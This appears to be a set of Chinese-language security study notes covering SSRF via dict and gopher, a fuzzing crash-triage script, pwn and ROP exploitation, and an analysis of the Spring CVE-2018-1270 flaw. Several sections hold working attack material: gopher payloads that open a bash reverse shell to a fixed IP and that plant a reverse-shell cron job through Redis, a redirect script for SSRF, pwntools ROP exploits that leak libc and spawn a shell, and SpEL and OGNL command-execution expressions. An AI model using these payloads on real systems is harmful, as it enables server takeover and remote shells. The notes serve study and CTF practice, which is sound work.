CLIENT libcurl 7.47.0
  1. sftp
attacker.com $ curl 'dict://victim.com:2323'
evil.com     $ nc -v -l 11111
Listening on [0.0.0.0] (family 0, port 11111)
Connection from [54.166.236.232] port 11111 [tcp/*] accepted (family 2, sport 35789)
CLIENT libcurl 7.40.0
QUIT

大部分的libcurl都不支持sftp协议,需要经过编译才能支持,所以一般这种探测都不会成功。不支持可以表现 在两个方面,一种是客户端的curl不支持发送sftp协议的数据,另一方面服务器端没有办法利用ssrf进行sftp的请求或接受该协议数据。

  1. gopher
    gopher协议最简单的请求: gopher://127.0.0.1:2333/_test
    gopher可以向任何端口发送任意形式的请求,例如http的post包:
gopher://test.com/_POST /exp.php HTTP/1.1%0d%0aHost: test.com_ip%0d%0aUser-Agent: curl/7.43.0%0d%0aAccept: */*%0d%0aContent-Length: 49%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0a%0d%0ae=bash -i >%2526 /dev/tcp/172.19.23.228/2333 0>%25261null

比如我们利用gopher发送符合redis协议的数据包,攻击本地的redis,首先产生redis数据协议,可以利用下面的脚本产生需要的redis协议数据,只要每个数据用%0d%0a分割即可

#!/bin/bash
#
# License: MIT
# Author: Michael Weibel
#
gen_redis_protocol() {
    cmd=$1
    proto=""
    proto+="*"
    
    number_of_words=0
    byword=""
    for word in $cmd
    do
        number_of_words=$[number_of_words+1]
        byword+="$"
        byword+=${#word}
        byword+="\\r\\n"
        byword+=$word
        byword+="\\r\\n"
    done
    proto+=${number_of_words}
    proto+="\\r\\n"
    proto+=${byword}
    printf $proto
}
gen_redis_protocol "SET mykey Hello"

因为redis是通过\r\n%0d%0a,来分割每条命令的,所以首先用上面的脚本生成符合redis协议的数据,之后利用%0d%0a合并即可,举个简单的例子

gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a

实际上任何形式的报文都可以发,在下划线之后的内容既是报文内容,要注意url加密问题。
其中sftp和dict主要用于获取服务器端libsshlibcurl的版本信息,因为可以利用这两个软件的信息进行漏洞利用,gopher则可以直接进行攻击。

libssh2 1.4.2 (probably vulnerable to CVE-2015-1782) and libcurl 7.40.0 (probably vulnerable to CVE-2015-3144, CVE-2015-3237)

SSRF 起源---服务器后端语言

SSRF 服务器端--php后端

如果利用php写的后端,那么php中可以触发ssrf的函数: file_get_contents(), fsockopen(), curl_exec(), fopen()

  1. curl_exec(),可以发送get请求和post请求:
    curl如果前面不输入协议会自动走http协议, 默认情况下,curl不会跟踪302跳转,并且curl不支持php的伪协议,不用考虑文件包含漏洞。
$ http --follow --all -h http://172.16.1.4/test_curl_exec.php
<?php
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, 'http://172.16.1.4/302.php');
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_HEADER, 1);
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true); # 设置curl跟踪302跳转
$response = curl_exec($curl);
var_dump($response);
curl_close($curl);
?>
  1. file_get_contents只能get访问url,但是默认情况下就支持302跳转
$ http --follow --all -h http://172.16.1.4/test_curl_exec.php
<?php
$response = file_get_contents("http://172.16.1.4/302.php");
var_dump($response);
?>

必须输入协议,比如http://,在php5.6php7.1.7测试下都不支持gopher。

同样该函数也是LFI(本地文件包含)漏洞需要重点关注的函数

  1. fsockopen需要自己写http报文,几乎不会有人用吧。 Fopen用的也很少,但是它是可以请求一个url的,如果php开启了 fopen 的 gopher wrapper,那么fopen就可以直接发送gopher请求。
    能够运行的原因就是curl扩展支持dictfile协议,可以利用这些协议对主机进行相关的数据请求。普通的标签,比如imgscript等基本都不会支持那么多的协议,就本就要想别的办法。

SSRF 提供某种服务--redis/memcache

redis

redis支持的通信协议格式

*<参数数量> CR LF
$<参数 1 的字节数量> CR LF
<参数 1 的数据> CR LF
...
$<参数 N 的字节数量> CR LF
<参数 N 的数据> CR LF

具体可以打印出来的是这样的

*3
$3
SET
$5
mykey
$7
myvalue

每行数据都是利用\r\n(%0d0a)分割的,只要能够发送这样的数据,redis都照常解析

  1. http 协议
    正常如果使用http协议请求redis,会出现这样的错误
$ curl 'http://212.24.111.64:6379/%0D%0Ainfo'
-ERR wrong number of arguments for 'get' command
-ERR unknown command 'User-Agent:'
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'

出现这样错误是因为http协议的头数据都是通过\r\n来分割的,redis解析这样的数据,所以就出现了上面的错误。如果想要通过http数据利用redis,那么服务器端进行远程(或本地)请求的函数必须存在CRLF这样http头解析漏洞。

  1. CRLF漏洞
    如果目标服务器存在CRLF漏洞,对redis使用http请

我根据数据报文格式和redis的通信协议,猜测redis就是解析tcp数据包,以\r\n%0D%0A为分割线,分割成各个命令,所以如果存在CRLF漏洞,那么可以直接将命令注入报文中,redis解析之后直接执行命令!
比如redis支持dict协议

curl 'http://xx:6379/info'
curl 'http://xx:6379/config set dir /var/www/html'

ssrf在利用的过程中,经常会遇到某个应用"不支持"某种协议的情况,确切来说不是不支持,而是没有办法直接利用,举个例子,redis没有办法直接用http请求进行相关操作,如果直接用的话,会遇到这样的情况

memcache

参考链接

redis通信协议
ssrf总结

360识图ssrf:http://wooyun.chamd5.org/bug_detail.php?wybug_id=wooyun-2016-0229611
远程服务器脚本:

<?php
$ip = $_GET['ip'];
$port = $_GET['port'];
$scheme = $_GET['s'];
$data = $_GET['data'];
header("Location: $scheme://$ip:$port/$data");
?>

ssrf=> mysql 导致getshell:https://paper.seebug.org/510/

批量处理crash脚本

在遇到大量crash结果时,分析crash结果,归类crash结果,有时会耗费大量的时间,对于我来说,每天上班前,运行一下该脚本,有新类型的crash就分析一下,提交report,节省了我大量的精力和时间

#encoding:utf-8

# ====================================================
# python: 3.5+
# 处理fuzz crash脚本
# 执行: python3 handle-crash.py -h 查看帮助选项
# example:
#   python3.exe handle-crash.py -f D:\FuzzProgram.exe --post_fix dwrite -i D:\fuzz_output
# version: 0.5.20211228
# ====================================================

import os
import glob
import lief
import json
import time
import signal
import shutil
import logging 
import datetime
import argparse
import subprocess
from functools import partial
from  multiprocessing import Pool

import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart


options = {}
debug_mode = False

# 调试器位置
debugger_x64_origin = "C:\\Program Files (x86)\\Windows Kits\\10\Debuggers\\x64\\cdb.exe"
debugger_x64_move = "D:\\Windows Kits\\10\\Debuggers\\x64\\cdb.exe"
debugger_x86_origin= "C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x86\\cdb.exe"
debugger_x86_move = "D:\\Windows Kits\\10\\Debuggers\\x86\\cdb.exe"
debugger_x64 = ''
debugger_x86 = ''
result_dir = 'result_jsons'

def prepare_debugger():
    global debugger_x86, debugger_x64

    if os.path.exists(debugger_x64_origin):
        debugger_x64 = debugger_x64_origin
    else:
        debugger_x64 = debugger_x64_move
    
    if os.path.exists(debugger_x86_origin):
        debugger_x86 = debugger_x86_origin
    else:
        debugger_x86 = debugger_x86_move


def sendmail(content=''):
    sender = 'xx'
    passwd = 'xx'
    mail_host = 'xx'
    receiver = 'xx'

    message = MIMEMultipart()
    message['Subject'] = "[Crash Handle Finish]"
    message['From'] = sender
    message.attach(MIMEText(content))

    try:
        s = smtplib.SMTP_SSL(mail_host, 465)
        # s.set_debuglevel(2)
        s.login(sender, passwd)
        s.sendmail(sender, receiver, message.as_string())
        s.quit()
    except smtplib.SMTPException as e:
        pass
    pass


class Logger(object):  
    def __init__(self):  
        """ 
        initial 
        """  
        # log_path = logPath  
        logging.addLevelName(20, "INFO:")  
        logging.addLevelName(30, "WARNING:")  
        logging.addLevelName(40, "FATAL:")  
        logging.addLevelName(50, "FATAL:")  
        logging.basicConfig(level=logging.DEBUG,  
                # format="%(levelname)s %(asctime)s %(filename)s %(message)s",  
                format="%(levelname)s %(asctime)s %(message)s",  
                datefmt="%m-%d %H:%M:%S",  
                filename='HandleCrash.log',  
                filemode="a")  
        console = logging.StreamHandler()  
        console.setLevel(logging.DEBUG)  
        # formatter = logging.Formatter("%(levelname)s %(asctime)s %(filename)s %(message)s")  
        formatter = logging.Formatter("%(levelname)s %(asctime)s %(message)s")  
        console.setFormatter(formatter)  
        logging.getLogger("").addHandler(console)  
  
    def debug(self, msg=""):  
        """ 
        output DEBUG level LOG 
        """  
        logging.debug(str(msg))  
  
    def info(self, msg=""):  
        """ 
        output INFO level LOG 
        """  
        logging.info(str(msg))  
  
    def warning(self, msg=""):  
        """ 
        output WARN level LOG 
        """  
        logging.warning(str(msg))  
  
    def exception(self, msg=""):  
        """ 
        output Exception stack LOG 
        """  
        logging.exception(str(msg))  
  
    def error(self, msg=""):  
        """ 
        output ERROR level LOG 
        """  
        logging.error(str(msg))  
  
    def critical(self, msg=""):  
        """ 
        output FATAL level LOG 
        """  
        logging.critical(str(msg))
logger = Logger()


def init_fuzzer():
    """
    Pool worker initializer for keyboard interrupt on Windows
    """
    signal.signal(signal.SIGINT, signal.SIG_IGN)


# 根据调用栈最后两个函数判定类型 (Windows)
def get_crash_type_win32(stdout):
    # 获取到crash type
    decode_error = False
    stdout_lines = []

    # 是否需要解码
    if type(stdout) == str:
        stdout_lines = stdout.split('\n')
    else: 
        # 对应数据为bytes
        # 第一次尝试使用utf-8解码
        try:
            stdout_lines = stdout.decode().split('\n')
        except UnicodeDecodeError:
            decode_error = True
        except Exception as ex:
            logger.error(ex)
            return None

        # 第二次尝试使用ISO-8859-1解码
        if decode_error: 
            try:
                stdout_lines = stdout.decode(encoding='ISO-8859-1').split('\n')
            except Exception as ex:
                logger.error(ex)
                return None

    i = -1 
    get_RetAddr = False
    for crash_data in stdout_lines:
        i += 1
        if "RetAddr" in crash_data:
            get_RetAddr = True
            continue
        
        # 处理第一个调用栈就出错的特殊情况
        #  0:000> k
        #   ChildEBP RetAddr  
        #  WARNING: Frame IP not in any known module. Following frames may be wrong.
        #  00 0019d3f8 65245480 0x8f3600c
        #  01 0019d964 65238ad8 ECompositeViewer!DllCanUnloadNow+0x66890

        if "WARNING" in crash_data and get_RetAddr:
            i += 1
            break

        if "WARNING" not in crash_data and get_RetAddr:
            break
            
    if i == len(stdout_lines):
        return None
    
    crash_type = None
    # 得出最后两个调用栈作为划分类型
    if len(stdout_lines) > i and len(stdout_lines[i].split()) >= 3:
        crash_type = stdout_lines[i].split()[2]
    if len(stdout_lines) > i+1 and len(stdout_lines[i+1].split()) >= 3:
        crash_type += ' -> ' + stdout_lines[i+1].split()[2]
    return crash_type



# 比较新产生的漏洞类型,将老的删除
def compare_crash_types(crash_types, output_root_dir):

    global options

    # 将以前存储的崩溃类型json文件打开
    result_json_file = os.path.join(result_dir, options.post_fix + '.json')
    result_json = None
    total_crash_types = {}
    repeat_files = []
    old_crash_types = []

    # 判断路径是否存在
    if not os.path.exists(result_dir):
        os.mkdir(result_dir)


    if os.path.exists(result_json_file):
        result_json = json.load(open(result_json_file, ))
        old_crash_types = result_json['crash_types']

        # 删除已经存在的crash_type
        for crash_type in old_crash_types:
            if crash_type in crash_types:
                # 将重复的数据统一处理
                repeat_files.extend(crash_types[crash_type])
                # crash_types.remove(crash_type)
                del crash_types[crash_type]

    # 求两次的并集 
    total_crash_types['crash_types'] = list(set(old_crash_types).union(set(crash_types)))

    # 将重复的文件统一移动到repeated目录
    repeat_dir = os.path.join(output_root_dir, "repeated")
    if not os.path.exists(repeat_dir) and len(repeat_files) > 0:
        os.mkdir(repeat_dir)

        for repeat_file in repeat_files:
                if not os.path.exists(repeat_file):
                    continue
                if os.path.isdir(repeat_file):
                    continue
                base_name = os.path.basename(repeat_file)
                output_file = os.path.join(repeat_dir, base_name)
                shutil.move(repeat_file, output_file)

    # 把新旧数据重新写入json
    with open(result_json_file, 'w') as fp:
        json.dump(total_crash_types, fp)


# 将crash_types写入文件
def handle_crash_types(crash_types):

    global options
    output_root_dir = options.input_directory
    uniq_crash_type_file = 'uniq_crash_{}_{}.log'.format(
                        (datetime.datetime.now()).strftime("%Y-%m-%d"),
                        options.post_fix)

    compare_crash_types(crash_types, output_root_dir)

    fp = open(uniq_crash_type_file, 'w')
    for crash_type in crash_types:
        if not crash_type:
            continue
        fp.write(crash_type + ':\n')

        # 创建各种漏洞类型目录
        output_dir = crash_type.replace(" -> ", "__")
        output_dir = output_dir.replace("<", "(")
        output_dir = output_dir.replace(">", ")")
        output_dir = output_dir.replace("::", "#")
        output_dir = os.path.join(output_root_dir, output_dir)

        # 判断目标目录是否存在
        if not os.path.exists(output_dir):
            os.mkdir(output_dir)

        for crash_file in crash_types[crash_type]:
            if not os.path.exists(crash_file):
                continue
            if os.path.isdir(crash_file):
                continue
            base_name = os.path.basename(crash_file)
            output_file = os.path.join(output_dir, base_name)
            shutil.move(crash_file, output_file)
            fp.write("   [+] {}\n".format(output_file))
    fp.close()


# windows多进程处理
def crash_on_windows(input_file, options, debugger):
    input_file = input_file.strip()

    # 不处理目录
    if os.path.isdir(input_file):
        return (None, None)

    try:
        # 将crash文件数据写入特定文件
        specific_file = None
        if options.specific_file:
            file_name, file_ext = os.path.splitext(options.specific_file)
            specific_file = '{}_{}{}'.format(file_name, str(os.getpid()), file_ext)
            with open(input_file, 'rb') as f:
                fp_specific = open(specific_file, 'wb')
                crash_file_data = f.read()
                fp_specific.write(crash_file_data)
                fp_specific.close()
        else:
            specific_file = input_file
    except Exception as ex:
        logger.error("bypassing file " + input_file)
        return (None, None, None)

    if debugger == None:
        logger.error("No debugger found!")
        exit(1)
    process_out = None
    if options.fuzz_args:
        command = [debugger, 
                    # "-y", 
                    # "srv*c:\symbols*https://msdl.microsoft.com/download/symbols", 
                    # "srv*c:\symbols", 
                    "-c", 
                    "g;g;g;kp 10;q",
                    options.fuzz_program,
                    options.fuzz_args,
                    specific_file]
    else:
        command = [debugger, 
                    "-y", 
                    "srv*c:\symbols*https://msdl.microsoft.com/download/symbols", 
                    # "srv*c:\symbols", 
                    "-c", 
                    "g;kp 10;q",
                    options.fuzz_program,
                    specific_file]
    if debug_mode:
        logger.info(' '.join(command))
    try:
        wait_time = int(options.wait_time)
        process_out = subprocess.run(command,
                                   stdout=subprocess.PIPE, 
                                   stderr=subprocess.STDOUT,
                                   timeout=wait_time)
    except subprocess.TimeoutExpired:
        return ('timeout', input_file)
    except Exception as ex:
        logger.exception("subprocess run with file: " + input_file)

    crash_type = None
    if process_out != None:
        crash_type = get_crash_type_win32(process_out.stdout)

    return (crash_type, input_file)


def main():

    prepare_debugger()

    if options.fuzz_args == None: # input "<space> -r" if dash in arguments
        options.fuzz_args = ''

    # 获取所有输入文件
    files = [] 
    files.extend(glob.glob(os.path.join(options.input_directory,  '*'), recursive=True))
    if len(files) == 0:
        logger.error("No input files")
        exit(1)
    # 确定测试程序位数
    debugger = None
    pe = lief.parse(options.fuzz_program)
    pe_bits = pe.header.machine.name
    if pe_bits == "I386":
        debugger = debugger_x86
    else:
        debugger = debugger_x64
    
    # 开始测试
    index = 1
    crash_types = {}
    thread_nums = int(options.threads)
    pool = Pool(thread_nums, init_fuzzer)
    logger.info('start review crash...')
    for result in pool.imap_unordered(partial(crash_on_windows, options=options, debugger=debugger), files):
        crash_type, input_file = result
        if crash_type == None or \
            input_file == None:
            continue
        file_basename = os.path.basename(input_file)
        dst_file = os.path.join(options.input_directory, file_basename)

        result_info = '{} ({}) ### {}'.format(index, crash_type, dst_file)
        logger.info(result_info)

        if crash_type not in crash_types.keys():
            crash_types[crash_type] = [input_file]
        else:
            crash_types[crash_type].append(input_file)

        index += 1
        time.sleep(2)

    # 写结果
    logger.info('write data to file...')
    handle_crash_types(crash_types)
    uniq_types_count = len(crash_types.keys())
    sendmail("type1: {}: {}".format(options.post_fix, uniq_types_count))
    

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("-f", "--fuzz_program", help="fuzz program", required=True)
    parser.add_argument("-a", "--fuzz_args", help="fuzz program arguments")
    parser.add_argument("-i", "--input_directory", help="input files directory", required=True)
    parser.add_argument("-t", "--threads", help="threads num", required=True)
    parser.add_argument("-w", "--wait_time", help="windbg debug wait time", required=True)
    parser.add_argument("--post_fix", help="output file post fix", required=True)
    parser.add_argument("-s", "--specific_file", help="write crash file to a specific file")
    options = parser.parse_args()
    main()

result文件就是常规的debugger输出数据,可以作为对uniq结果的参考,文件特别长,uniq文件是最需要关注的,可以及时发现新出现的crash,其中uniq文件结果大概是这样的

WeChat3e6175fedf78b4c39b150d54a57e1f6c

windows输出结果

image

整个处理流程还在优化中,遇到特殊的crash结果,会及时更新

PWN 初探

关掉整个系统的ALSR
echo 0 > /proc/sys/kernel/randomize_va_space
gcc -fno-stack-protector -z execstack -o level1 level1.c
-fno-stack-protector和-z execstack这两个参数会分别关掉DEP和Stack Protector

开启core dump功能
ulimit -c unlimited
sudo sh -c 'echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern'

pwn 从入门到放弃:https://www.n0tr00t.com/2017/12/15/Linux-Pwn-Rumen~Fangqi.html

调试无符号elf文件:

  1. http://blog.csdn.net/netsniffer/article/details/32163569
  2. 通过radare调试

radare2 案例:
https://jinyu00.github.io/2017/11/01/step_by_step_pwn_router_part8.html
cheatsheet:https://github.com/radare/radare2/blob/master/doc/intro.md

打印函数地址:
gdb-peda$ print system
$1 = {<text variable, no debug info>} 0x7ffff7a52390 <__libc_system>

查找字符串
gdb-peda$ find CTF
Searching for 'CTF' in: None ranges
Found 2 results, display max 2 items:
smashes : 0x400d21 ("CTF{Here's the flag on server}")
smashes : 0x600d21 ("CTF{Here's the flag on server}")

ELF的重映射:当可执行文件足够小的时候,他的不同区段可能会被多次映射。

smashes: 产生溢出异常,让溢出函数打印出flag,将flag地址铺满stack

vmmap 查看映射表

在调试的过程中,gdb中的vulfunction的地址并不一定是其真实运行的地址,需要将出错位置dump下来,之后查看shellcode地址

偏移位置:
pattern create 200
run
paste
pattern search 0xxxxxxx
esp => 偏移量

返回地址:
./level <= input_data
gdb level /tmp/core.xxx
x/10s $esp => esp 地址

各种保护机制绕过原理:

  1. DEP/NX绕过
    数据执行保护,栈上的代码标记为数据,使其不可执行,此时从lib.so中找到system_add和/bin/sh的地址。这里无论是gdb还是真实运行,lib.so的加载地址应该是一样的。在pwn过程中,难点就是有没有提供libc.so。
    这里有一个规则需要记住:
    第一次call write -> write_plt -> 系统初始化去获取write在内存中的地址 -> 写到write_got -> write_plt变成jmp *write_got

还可以这么理解:
write_addr - system_addr == write_addr_libc - system_addr_libc

a. 有libc.so的情况
b. 没有libc.so的情况 这里还需要分出64位程序的情况,寻找ropgadget
编写地址leak函数 => leak出system地址 => 找到.bss块地址/找到rop gadget地址 => send(‘/bin/sh\0’)
大概的流程是这样的
from pwn import *

elf = ELF('./level2')
plt_write = elf.symbols['write']
plt_read = elf.symbols['read']
vulfun_addr = 0x08048474

def leak(address):
payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(address) + p32(4)
p.send(payload1)
data = p.recv(4)
print "%#x => %s" % (address, (data or '').encode('hex'))
return data

p = process('./level2')
#p = remote('127.0.0.1', 10002)

d = DynELF(leak, elf=ELF('./level2'))

system_addr = d.lookup('system', 'libc')
print "system_addr=" + hex(system_addr)

bss_addr = 0x0804a020
pppr = 0x804855d

payload2 = 'a'*140 + p32(plt_read) + p32(pppr) + p32(0) + p32(bss_addr) + p32(8)
payload2 += p32(system_addr) + p32(vulfun_addr) + p32(bss_addr)
#ss = raw_input()

print "\n###sending payload2 ...###"
p.send(payload2)
p.send("/bin/sh\0")
p.interactive()

  1. ALSR 绕过
  2. CANNARY(栈保护)
    防止返回地址被覆盖

再看一遍 rop:https://segmentfault.com/a/1190000007406442
关键在于其原理

常见保护机制:https://introspelliam.github.io/2017/09/30/linux%E7%A8%8B%E5%BA%8F%E7%9A%84%E5%B8%B8%E7%94%A8%E4%BF%9D%E6%8A%A4%E6%9C%BA%E5%88%B6/

$1 = {<text variable, no debug info>} 0x7ffff784e390 <__libc_system>
libc : 0x7ffff7995d17 --> 0x68732f6e69622f ('/bin/sh')

ASLR+NX绕过

存在libc.so的情况

  1. 确定有没有开启ASLR:
➜ ldd 1                                                                                            
   linux-gate.so.1 =>  (0xf7ffd000)
   libc.so.6 => /lib32/libc.so.6 (0xf7e3a000)
   /lib/ld-linux.so.2 (0x56555000)
再次运行ldd,
➜ ldd 1                                                                                          
   linux-gate.so.1 =>  (0xf7ffd000)
   libc.so.6 => /lib32/libc.so.6 (0xf7e3a000)
   /lib/ld-linux.so.2 (0x56555000)

两次libc的基址一样也说明了主机没有开启ASLR,如果不同则主机开启ASLR

  1. 使用checksec查看是否开启NX
  2. 确定开启ASLR+NX,绕过方法
  3. 找到got_write_addr地址
plt_write_addr = level2.plt['write']
ret_addr = 0x08048471 // vul_func_addr
got_write_addr_buf = level2.got['write']
payload1 = 'A' * 140 + p32(plt_write_addr) + p32(ret_addr)
payload1 +=  p32(1) + p32(got_write_addr_buf) + p32(4)
p.send(payload1)
write_addr = u32(p.recv())
  1. 找到system_addr和/bin/sh的地址
# write_addr - system_addr = libc_write_addr - libc_system_addr
system_addr = write_addr - (libc.symbols['write'] - libc.symbols['system'])
sh_addr = system_addr + next(libc.search('/bin/sh')) - libc.symbols['system']
payload = 'A' * 140 + p32(system_addr) + p32(ret_addr)
payload += p32(sh_addr)
p.send(payload)
p.interactive()

##libc.so不存在的情况

在不提供libc.so的情况下泄漏

from pwn import *
io = process("./3")
elf = ELF("./3")
offset = 92

def leak(address):
   log.info("leak address =>{}".format(hex(address)))
   payload = offset * 'a'
   payload += p32(elf.plt['write'])
   payload += p32(elf.symbols['func'])
   payload += p32(1)
   payload += p32(address)
   payload += p32(4)

   io.send(payload)
   io.recv(0x100)
   ret = io.recv()
   return ret

d = DynELF(leak, elf = ELF('./3'))
system_addr = d.lookup("system", "libc")
log.success("system address =>{}".format(hex(system_addr)))

动态链接的函数调用

第一次call write -> write_plt -> 系统初始化去获取write在内存中的地址 -> 写到write_got -> write_plt变成jmp *write_got

进阶总结 linux:http://pwdme.cc/2017/09/26/bypassing-aslr-dep-using-rop-return-to-dl-resolve-in-32-bit-system/

64位:http://yunnigu.dropsec.xyz/2016/11/21/pwn%E5%AD%A6%E4%B9%A0rop%E4%B9%8Bx64%E7%AF%87/

相对较为复杂的windows情况:http://www.arkteam.net/?p=443

CVE-2018-1270 分析

CVE-2018-1270

影响版本

Spring Framework 5.0 to 5.0.4
Spring Framework 4.3 to 4.3.14

漏洞分析

搭建环境

git clone https://github.com/spring-guides/gs-messaging-stomp-websocket
git checkout 6958af0b02bf05282673826b73cd7a85e84c12d3

用ideal打开commplete,将src/main/resources/app.js的connect做如下修改

function connect() {
    var header  = {"selector":"new java.lang.ProcessBuilder('/Applications/Calculator.app/Contents/MacOS/Calculator').start()"};
    var socket = new SockJS('/gs-guide-websocket');
    stompClient = Stomp.over(socket);
    stompClient.connect({}, function (frame) {
        setConnected(true);
        console.log('Connected: ' + frame);
        stompClient.subscribe('/topic/greetings', function (greeting) {
            showGreeting(JSON.parse(greeting.body).content);
        }, header);
    });
}

运行Application,在网页端点击connect,并发送数据,成功利用

漏洞成因

首先看造成漏洞的代码

对java web层面安全比较熟悉的,一眼就能看出来是由expressiongetValuesetValue造成的代码执行,我这种菜鸟需要想一想了。

首先造成这种命令执行是由Spring的SPEL表达式造成的,熟悉struts2的很快就会想到OGNL造成的各种各样漏洞。SPEL是Spring专有的EL表达式,为了了解造成漏洞的底层原因,简单了解一下SPEL表达式

SPEL表达式的使用需要如下的支持

  1. 表达式:表达式是表达式语言的核心,所以表达式语言都是围绕表达式进行的,从我们角度来看是“干什么”;
  2. 解析器:用于将字符串表达式解析为表达式对象,从我们角度来看是“谁来干”;
  3. 上下文:表达式对象执行的环境,该环境可能定义变量、定义自定义函数、提供类型转换等等,从我们角度看是“在哪干”;
  4. 根对象及活动上下文对象:根对象是默认的活动上下文对象,活动上下文对象表示了当前表达式操作的对象,从我们角度看是“对谁干”。

其中表达式支持非常多的语法,能够造成代码执行的有以下2种

  1. 类类型表达式
    类类型表达式:使用“T(Type)”来表示java.lang.Class实例,“Type”必须是类全限定名,“java.lang”包除外,即该包下的类可以不指定包名;使用类类型表达式还可以进行访问类静态方法及类静态字段。

    /java.lang包类访问    
    Class<String> result1 = parser.parseExpression("T(String)").getValue(Class.class);    
    Assert.assertEquals(String.class, result1);    
    //其他包类访问    
    String expression2 = "T(cn.javass.spring.chapter5.SpELTest)";    
    Class<String> result2 = parser.parseExpression(expression2).getValue(Class.class);  
    Assert.assertEquals(SpELTest.class, result2);    
    //类静态字段访问    
    int result3=parser.parseExpression("T(Integer).MAX_VALUE").getValue(int.class);    
    Assert.assertEquals(Integer.MAX_VALUE, result3);    
    //类静态方法调用    
    int result4 = parser.parseExpression("T(Integer).parseInt('1')").getValue(int.class);    
    Assert.assertEquals(1, result4);    
    
  2. 类实例化表达式
    类实例化同样使用java关键字“new”,类名必须是全限定名,但java.lang包内的类型除外,如String、Integer。

    public void testConstructorExpression() {    
        ExpressionParser parser = new SpelExpressionParser();    
        String result1 = parser.parseExpression("new String('haha')").getValue(String.class);    
        Assert.assertEquals("haha", result1);    
        Date result2 = parser.parseExpression("new java.util.Date()").getValue(Date.class);    
        Assert.assertNotNull(result2);    
    }  
    

通过简单的了解,可以得出构造SPEL命令执行大概有两种方式

  1. 静态方法

    ...
    org.springframework.expression.Expression exp=parser.parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')");
    ...   
  2. new 对象

    ...
    org.springframework.expression.Expression exp=parser.parseExpression("new java.lang.ProcessBuilder((new java.lang.String[]{'calc'})).start()");
    ... 

现在再来看一下spring-boot-messaging实现中的代码

Expression expression = sub.getSelectorExpression();
if (expression == null) {
    result.add(sessionId, subId);
} else {
    if (context == null) {
        context = new StandardEvaluationContext(message);
        context.getPropertyAccessors().add(new DefaultSubscriptionRegistry.SimpMessageHeaderPropertyAccessor());
    }

    try {
        if (Boolean.TRUE.equals(expression.getValue(context, Boolean.class))) {
            result.add(sessionId, subId);
        }
    } catch (SpelEvaluationException var13) {
        if (this.logger.isDebugEnabled()) {
            this.logger.debug("Failed to evaluate selector: " + var13.getMessage());
        }
    } catch (Throwable var14) {
        this.logger.debug("Failed to evaluate selector", var14);
    }
}
  1. 利用sub.getSelectorExpression()得到selector的表达式
  2. 利用Boolean.TRUE.equals(expression.getValue(context, Boolean.class))获取表达式的值,从而造成命令执行。

作为补充,这里也给出ONGL的命令执行表达式

  1. getValue造成命令执行

    ...
    OgnlContext context = new OgnlContext();
    Ognl.getValue("@java.lang.Runtime@getRuntime().exec('calc')",context,context.getRoot());
    ...  
  2. setValue造成命令执行

    ...
    OgnlContext context = new OgnlContext();
    Ognl.setValue(new java.lang.ProcessBuilder((new java.lang.String[] {"calc" })).start(), context,context.getRoot());
    ...  

批量利用

首先说一下,根据我有限的知识,这个洞目前来看还没有办法进行批量利用,可能会有,但是我这种菜鸟是没发现。现在来说一下为什么不能批量利用。

为了能够理解下面的解释,需要一点点websocket的知识。webSocket协议提供了通过一个套接字实现服务器和客户端全双工通信的功能。websocket建立通信一般有两个过程

第一步,握手。握手的过程是通过http请求实现的

GET /chat HTTP/1.1
Host: server.example.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: x3JJHMbDL1EzLkh9GBhXDw==
Sec-WebSocket-Protocol: chat, superchat
Sec-WebSocket-Version: 13
Origin: http://example.com

可以发现这个请求比我们正常的http请求多了两个选项

Upgrade: websocket
Connection: Upgrade

这是跟服务器进行协商,我下一步需要使用websocket进行连接,允不允许。如果服务器允许会返回下列信息

HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: HSmrc0sMlYUkAGmm5OPpG2HaGWk=
Sec-WebSocket-Protocol: chat

之后就可以使用websocket客户端和服务器进行愉快的websocket通信了。如果利用java的话,大概的通信流程是这样的

public class ServiceClient {
    public static void main(String... argv) {
        WebSocketClient webSocketClient = new StandardWebSocketClient();
        WebSocketStompClient stompClient = new WebSocketStompClient(webSocketClient);
        stompClient.setMessageConverter(new MappingJackson2MessageConverter());
        stompClient.setTaskScheduler(new ConcurrentTaskScheduler());

        String url = "ws://127.0.0.1:8080/hello";
        StompSessionHandler sessionHandler = new MySessionHandler();
        stompClient.connect(url, sessionHandler);

        new Scanner(System.in).nextLine(); //Don't close immediately.
    }
}

其中使用到了stomp协议,简而言之,websocket是底层协议,SockJS是WebSocket的备选方案,也是底层协议,而STOMP是基于websocket(SockJS)的上层协议。这里不懂也没关系,就是一种高层通信协议而已。

websocket通信'过程'特点:

  1. 没有同源限制
  2. 没有安全验证

从上面的分析可以知道,websocket既然没有安全验证,而且不受同源策略影响,那么是不是谁都可以来连接了。理论上是这样的,但是有一点我们需要注意,在建立连接前有一个握手的过程,这个握手的过程是有安全验证的。握手不通过是无法进行顺利通信的!在这里也就引伸出了一个安全问题websocket的劫持问题!这里就不详细介绍了,下面参考中有非常详细的介绍。

现在来分析spring-boot-messaging中websocket握手的过程是否进行了验证,为了测试写了如下代码,直接用浏览器打开代码文件

<html>
    <head>
    </head>
